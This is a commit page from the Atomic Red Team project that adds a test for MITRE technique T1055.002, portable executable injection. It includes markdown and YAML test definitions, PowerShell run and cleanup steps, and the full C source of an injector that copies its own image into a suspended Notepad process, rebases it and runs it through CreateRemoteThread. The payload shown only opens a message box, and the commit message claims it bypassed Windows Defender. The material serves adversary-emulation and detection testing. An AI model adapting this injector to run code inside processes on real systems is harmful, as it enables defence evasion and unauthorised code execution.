T1055.002 Process Injection: (Fileless) Portable Executable Injection (#2524)
* Add new T1055 process injection test named dirty vanity * Fix typos * Update build.bat * Delete atomics/T1055/T1055.yaml.bak * T1055.002 Process Injection: Portable Executable Injection implemented and tested on both Windows 10 and 11. Bypassed Windows defender. A messagebox spawned with message Atomic Red Team * Update T1055.002 proc privilege level * Fix some small issues related to code compliation with different compilers in different archs * Update T1055.002.md Update documentation for T1055.002 * Update T1055.002.md Update clean up command --------- Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
@@ -0,0 +1,58 @@
|
||||
# T1055.002 - Process Injection: Portable Executable Injection
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1055/002)
|
||||
<blockquote>Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
|
||||
|
||||
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> <code>and WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Ten process injection techniques: A technical survey of common and trending process injection techniques July 2017)
|
||||
|
||||
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - Portable Executable Injection](#atomic-test-1---portable-executable-injection-via-c)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - Portable Executable Injection via C
|
||||
This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. Upon successful execution, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** 578025d5-faa9-4f6d-8390-aae123d503e1
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| exe_binary | Output Binary | path | PathToAtomicsFolder\T1055.002\bin\RedInjection.exe|
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
```powershell
|
||||
Start-Process $PathToAtomicsFolder\T1055.002\bin\RedInjection.exe
|
||||
Start-Sleep -Seconds 7
|
||||
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```powershell
|
||||
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
|
||||
```
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: #{exe_binary} must be exist on system.
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
if (Test-Path #{exe_binary}) {exit 0} else {exit 1}
|
||||
```
|
||||
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null
|
||||
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}"
|
||||
```
|
||||
|
||||
|
||||
<br/>
|
||||
@@ -0,0 +1,30 @@
|
||||
attack_technique: T1055.002
|
||||
display_name: 'Process Injection: Portable Executable Injection'
|
||||
atomic_tests:
|
||||
- name: Portable Executable Injection
|
||||
auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d503e1
|
||||
description: 'This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.'
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
exe_binary:
|
||||
description: PE binary
|
||||
type: path
|
||||
default: PathToAtomicsFolder\T1055.002\bin\RedInjection.exe
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: |
|
||||
Portable Executable to inject must exist at specified location (#{exe_binary})
|
||||
prereq_command: |
|
||||
if (Test-Path #{exe_binary}) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null
|
||||
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}"
|
||||
executor:
|
||||
command: |-
|
||||
Start-Process $PathToAtomicsFolder\T1055.002\bin\RedInjection.exe
|
||||
Start-Sleep -Seconds 7
|
||||
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
|
||||
cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force'
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
Binary file not shown.
@@ -0,0 +1,218 @@
|
||||
/*
|
||||
PE Injector for Atomic Red Team Process Injection: Portable Executable Injection (T1055.002).
|
||||
As per MITRE documentation "PE injection is a method of executing arbitrary code in the address space of a separate live process."
|
||||
Code injects a message box PE into a remote process (notepad.exe) and run with pCreateRemoteThread
|
||||
All Win APIs called dynamically.
|
||||
Author: thomas-meng@outlook.com
|
||||
Code reference:
|
||||
tributes to Mantvydas Baranauskas implemented the prototype PE injection technique
|
||||
ired.team:
|
||||
https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct BASE_RELOCATION_ENTRY {
|
||||
USHORT Offset : 12; //The bottom 12bits are used to describe the offset bytes relative to the image base
|
||||
USHORT Type : 4; // 4 bits for relocation type
|
||||
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
|
||||
|
||||
BOOL EnableWindowsPrivilege(const wchar_t* Privilege) {
|
||||
HANDLE token;
|
||||
TOKEN_PRIVILEGES priv;
|
||||
BOOL ret = FALSE;
|
||||
wprintf(L" [+] Enable %ls adequate privilege\n", Privilege);
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, Privilege, &priv.Privileges[0].Luid) != FALSE &&
|
||||
AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE) {
|
||||
ret = TRUE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { // In case privilege is not part of token (e.g. run as non-admin)
|
||||
ret = FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(token);
|
||||
}
|
||||
|
||||
if (ret == TRUE)
|
||||
wprintf(L" [+] Success\n");
|
||||
else
|
||||
wprintf(L" [-] Failure\n");
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
// Define function pointers for dynamically loaded functions
|
||||
typedef HANDLE(WINAPI *PFN_GETMODULEHANDLEA)(LPCSTR);
|
||||
typedef DWORD(WINAPI *PFN_GETLASTERROR)();
|
||||
typedef VOID(WINAPI *PFN_SLEEP)(DWORD);
|
||||
typedef HANDLE(WINAPI *PFN_CREATEREMOTETHREAD)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
typedef BOOL(WINAPI *PFN_GETNATIVESYSTEMINFO)(LPSYSTEM_INFO);
|
||||
typedef LPVOID(WINAPI *PFN_VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef LPVOID(WINAPI *PFN_VIRTUALALLOCEX)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL(WINAPI *PFN_WRITEPROCESSMEMORY)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||
typedef BOOL(WINAPI *PFN_CREATEPROCESSA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
typedef HANDLE(WINAPI *PFN_OPENPROCESS)(DWORD, BOOL, DWORD);
|
||||
typedef int(WINAPI *PFN_MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
|
||||
|
||||
BOOL IsSystem64Bit() {
|
||||
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
|
||||
if (!hKernel32) return FALSE;
|
||||
|
||||
PFN_GETNATIVESYSTEMINFO pGetNativeSystemInfo = (PFN_GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo");
|
||||
if (!pGetNativeSystemInfo) {
|
||||
FreeLibrary(hKernel32);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL bIsWow64 = FALSE;
|
||||
SYSTEM_INFO si = {0};
|
||||
pGetNativeSystemInfo(&si);
|
||||
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
bIsWow64 = TRUE;
|
||||
}
|
||||
|
||||
FreeLibrary(hKernel32);
|
||||
return bIsWow64;
|
||||
}
|
||||
|
||||
|
||||
DWORD InjectionEntryPoint() {
|
||||
HMODULE hUser32 = LoadLibraryA("user32.dll");
|
||||
if (!hUser32) return 0;
|
||||
|
||||
PFN_MESSAGEBOXA pMessageBoxA = (PFN_MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA");
|
||||
if (pMessageBoxA) {
|
||||
pMessageBoxA(NULL, "Atomic Red Team", "Warning", NULL);
|
||||
}
|
||||
FreeLibrary(hUser32);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
|
||||
if (!hKernel32) {
|
||||
printf("Failed to load kernel32.dll.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
PFN_CREATEPROCESSA pCreateProcessA = (PFN_CREATEPROCESSA)GetProcAddress(hKernel32, "CreateProcessA");
|
||||
PFN_GETLASTERROR pGetLastError = (PFN_GETLASTERROR)GetProcAddress(hKernel32, "GetLastError");
|
||||
PFN_SLEEP pSleep = (PFN_SLEEP)GetProcAddress(hKernel32, "Sleep");
|
||||
PFN_GETMODULEHANDLEA pGetModuleHandleA = (PFN_GETMODULEHANDLEA)GetProcAddress(hKernel32, "GetModuleHandleA");
|
||||
PFN_VIRTUALALLOC pVirtualAlloc = (PFN_VIRTUALALLOC)GetProcAddress(hKernel32, "VirtualAlloc");
|
||||
PFN_VIRTUALALLOCEX pVirtualAllocEx = (PFN_VIRTUALALLOCEX)GetProcAddress(hKernel32, "VirtualAllocEx");
|
||||
PFN_OPENPROCESS pOpenProcess = (PFN_OPENPROCESS)GetProcAddress(hKernel32, "OpenProcess");
|
||||
PFN_WRITEPROCESSMEMORY pWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)GetProcAddress(hKernel32, "WriteProcessMemory");
|
||||
PFN_CREATEREMOTETHREAD pCreateRemoteThread = (PFN_CREATEREMOTETHREAD)GetProcAddress(hKernel32, "CreateRemoteThread");
|
||||
|
||||
if (!EnableWindowsPrivilege(TEXT("SeDebugPrivilege"))) {
|
||||
printf("Failed to enable SeDebugPrivilege. You might not have sufficient rights.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!pCreateProcessA || !pGetLastError || !pSleep || !pGetModuleHandleA || !pVirtualAlloc || !pVirtualAllocEx || !pOpenProcess || !pWriteProcessMemory || !pCreateRemoteThread) {
|
||||
printf("Failed to get one or more function addresses.\n");
|
||||
FreeLibrary(hKernel32);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Use relevant notepad based on sys arch.
|
||||
char notepadPath[256];
|
||||
if (IsSystem64Bit()) {
|
||||
strcpy_s(notepadPath, sizeof(notepadPath), "C:\\Windows\\System32\\notepad.exe");
|
||||
} else {
|
||||
strcpy_s(notepadPath, sizeof(notepadPath), "C:\\Windows\\SysWOW64\\notepad.exe");
|
||||
}
|
||||
|
||||
|
||||
// Launch Notepad in suspended state
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFOA si;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
if (!pCreateProcessA(NULL, notepadPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
DWORD dwError = pGetLastError();
|
||||
printf("Failed to launch Notepad. Error: %d\n", dwError);
|
||||
return -1;
|
||||
}
|
||||
|
||||
pSleep(2000);
|
||||
|
||||
PVOID imageBase = pGetModuleHandleA(NULL);
|
||||
if (imageBase != NULL)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
if (GetModuleFileNameA((HMODULE)imageBase, path, sizeof(path)) != 0)
|
||||
{
|
||||
printf("This program is running from: %s\n", path);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
|
||||
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
|
||||
|
||||
PVOID localImage = pVirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
|
||||
|
||||
HANDLE targetProcess = pOpenProcess(MAXIMUM_ALLOWED, FALSE, pi.dwProcessId);
|
||||
PVOID targetImage = pVirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
|
||||
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
DWORD totalSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
DWORD totalProcessed = 0;
|
||||
|
||||
// Iterate the reloc table of the local image and modify all absolute addresses to work at the address returned by VirtualAllocEx.
|
||||
// Loop for all relocation descriptors in all relocation blocks
|
||||
while (totalProcessed < (DWORD)totalSize) { // Fixed the signed/unsigned mismatch warning
|
||||
DWORD blockSize = relocationTable->SizeOfBlock;
|
||||
DWORD entryCount = (blockSize - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
|
||||
PBASE_RELOCATION_ENTRY entries = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
|
||||
|
||||
for (DWORD i = 0; i < entryCount; i++) {
|
||||
DWORD offset = entries[i].Offset;
|
||||
DWORD_PTR relocationTarget = (DWORD_PTR)localImage + relocationTable->VirtualAddress + offset;
|
||||
*(DWORD_PTR *)relocationTarget += deltaImageBase;
|
||||
}
|
||||
|
||||
totalProcessed += blockSize;
|
||||
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + blockSize);
|
||||
}
|
||||
|
||||
if (!pWriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) {
|
||||
DWORD dwError = pGetLastError();
|
||||
printf("Failed to write to target process memory. Error: %d\n", dwError);
|
||||
CloseHandle(targetProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Calculate the remote address of the function to be executed in the remote process by subtracting
|
||||
// the address of the function in the current process by the base address of the current process,
|
||||
// then adding it to the address of the allocated memory in the target process.
|
||||
// create a new thread with the start address set to the remote address of the function, using CreateRemoteThread.
|
||||
DWORD threadId;
|
||||
HANDLE hThread = pCreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint - (DWORD_PTR)imageBase + (DWORD_PTR)targetImage), NULL, 0, &threadId);
|
||||
if (!hThread) {
|
||||
DWORD dwError = pGetLastError();
|
||||
printf("Failed to create remote thread. Error: %d\n", dwError);
|
||||
CloseHandle(targetProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(targetProcess);
|
||||
|
||||
FreeLibrary(hKernel32);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcRedInjection.c /link /OUT:RedInjection.exe.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
Reference in New Issue
Block a user